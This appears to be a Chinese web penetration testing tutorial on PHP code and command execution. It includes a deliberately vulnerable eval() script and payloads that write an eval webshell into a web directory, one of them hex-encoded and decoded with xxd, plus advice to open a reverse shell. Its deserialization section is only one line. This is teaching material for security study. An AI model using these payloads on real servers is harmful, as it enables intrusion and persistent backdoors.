【web渗透】 RCE and 反序列化(第一弹)

目录

一、代码执行:

二、命令执行:

三、序列化:


一、代码执行:

  • PHP: eval、assert、system、preg_replace()、+/e模式(PHP版本<5.5.0)
  • Javascript: eval
  • Vbscript:Execute、Eval
  • Python: exec
  • 代码执行产生函数:eval,assert等,

code_eval.php:

<?php

$code=$_GET["name"];
eval($code);
?>

payload:http://127.0.0.1/code_eval.php?name=echo phpinfo();

eval():将这串代码以php执行

利用:

http://127.0.0.1/code_eval.php?name= echo ^<?php eval($_POST[pandas]); ?^> >C:/wwwroot/webshell.php

二、命令执行:

命令执行产生函数:exec,shell_exec,system,passthru等将参数以dos、shell执行

exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数,此外还要小心mail()函数的安全。

system() 输出并返回最后一行shell结果。

exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。

passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针

命令执行漏洞利用:

1、可尝试进行反弹shell,搭建服务执行wget下载webshell。

2、写入webshell:

利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义

假设需要写入<?php eval($_POST[wang]); ?>,方法如下:

Windows:

用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web

web可写目录加文件完整名字

Linux:

linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:

echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web

web可写目录加文件完整名字

三、序列化:

前面有%00用urlencode()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值